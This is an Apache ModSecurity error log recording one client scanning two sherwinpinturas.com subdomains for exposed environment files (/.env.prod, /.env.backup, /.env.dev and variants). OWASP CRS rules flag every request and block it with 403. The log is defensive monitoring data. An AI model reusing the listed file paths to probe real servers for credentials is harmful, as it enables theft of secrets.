[Sat Oct 24 20:24:41.529644 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1MSa7eSgqEqaOPQgT8DAAAAAI"]
[Sat Oct 24 20:24:41.529929 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1MSa7eSgqEqaOPQgT8DAAAAAI"]
[Sat Oct 24 20:24:41.530287 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1MSa7eSgqEqaOPQgT8DAAAAAI"]
[Sat Oct 24 20:24:41.628617 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1MSTKiZtbKEGWJKoLVagAAACE"]
[Sat Oct 24 20:24:41.628865 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1MSTKiZtbKEGWJKoLVagAAACE"]
[Sat Oct 24 20:24:41.629201 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1MSTKiZtbKEGWJKoLVagAAACE"]
[Sat Oct 24 20:24:41.666684 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1MSa7eSgqEqaOPQgT8DQAAAAI"]
[Sat Oct 24 20:24:41.666923 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1MSa7eSgqEqaOPQgT8DQAAAAI"]
[Sat Oct 24 20:24:41.667224 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1MSa7eSgqEqaOPQgT8DQAAAAI"]
[Sat Oct 24 20:24:41.765627 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1MSTKiZtbKEGWJKoLVawAAACE"]
[Sat Oct 24 20:24:41.765873 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1MSTKiZtbKEGWJKoLVawAAACE"]
[Sat Oct 24 20:24:41.766208 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1MSTKiZtbKEGWJKoLVawAAACE"]
[Sat Oct 24 20:24:41.801865 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1MSa7eSgqEqaOPQgT8DgAAAAI"]
[Sat Oct 24 20:24:41.802043 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1MSa7eSgqEqaOPQgT8DgAAAAI"]
[Sat Oct 24 20:24:41.802337 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1MSa7eSgqEqaOPQgT8DgAAAAI"]
[Sat Oct 24 20:24:41.907035 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1MSTKiZtbKEGWJKoLVbAAAACE"]
[Sat Oct 24 20:24:41.907281 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1MSTKiZtbKEGWJKoLVbAAAACE"]
[Sat Oct 24 20:24:41.907652 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1MSTKiZtbKEGWJKoLVbAAAACE"]
[Sat Oct 24 20:24:41.937625 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1MSa7eSgqEqaOPQgT8DwAAAAI"]
[Sat Oct 24 20:24:41.937855 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1MSa7eSgqEqaOPQgT8DwAAAAI"]
[Sat Oct 24 20:24:41.938148 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1MSa7eSgqEqaOPQgT8DwAAAAI"]
[Sat Oct 24 20:24:42.045643 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1MSjKiZtbKEGWJKoLVbQAAACE"]
[Sat Oct 24 20:24:42.045930 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1MSjKiZtbKEGWJKoLVbQAAACE"]
[Sat Oct 24 20:24:42.046256 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1MSjKiZtbKEGWJKoLVbQAAACE"]
[Sat Oct 24 20:24:42.072135 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1MSq7eSgqEqaOPQgT8EAAAAAI"]
[Sat Oct 24 20:24:42.072351 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1MSq7eSgqEqaOPQgT8EAAAAAI"]
[Sat Oct 24 20:24:42.072671 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1MSq7eSgqEqaOPQgT8EAAAAAI"]
[Sat Oct 24 20:24:42.188078 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1MSjKiZtbKEGWJKoLVbgAAACE"]
[Sat Oct 24 20:24:42.188315 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1MSjKiZtbKEGWJKoLVbgAAACE"]
[Sat Oct 24 20:24:42.188582 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1MSjKiZtbKEGWJKoLVbgAAACE"]
[Sat Oct 24 20:24:42.209135 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1MSq7eSgqEqaOPQgT8EQAAAAI"]
[Sat Oct 24 20:24:42.209351 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1MSq7eSgqEqaOPQgT8EQAAAAI"]
[Sat Oct 24 20:24:42.209660 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1MSq7eSgqEqaOPQgT8EQAAAAI"]
[Sat Oct 24 20:24:42.325896 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1MSjKiZtbKEGWJKoLVbwAAACE"]
[Sat Oct 24 20:24:42.326187 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1MSjKiZtbKEGWJKoLVbwAAACE"]
[Sat Oct 24 20:24:42.326531 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1MSjKiZtbKEGWJKoLVbwAAACE"]
[Sat Oct 24 20:24:42.345232 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1MSq7eSgqEqaOPQgT8EgAAAAI"]
[Sat Oct 24 20:24:42.345419 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1MSq7eSgqEqaOPQgT8EgAAAAI"]
[Sat Oct 24 20:24:42.345708 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1MSq7eSgqEqaOPQgT8EgAAAAI"]
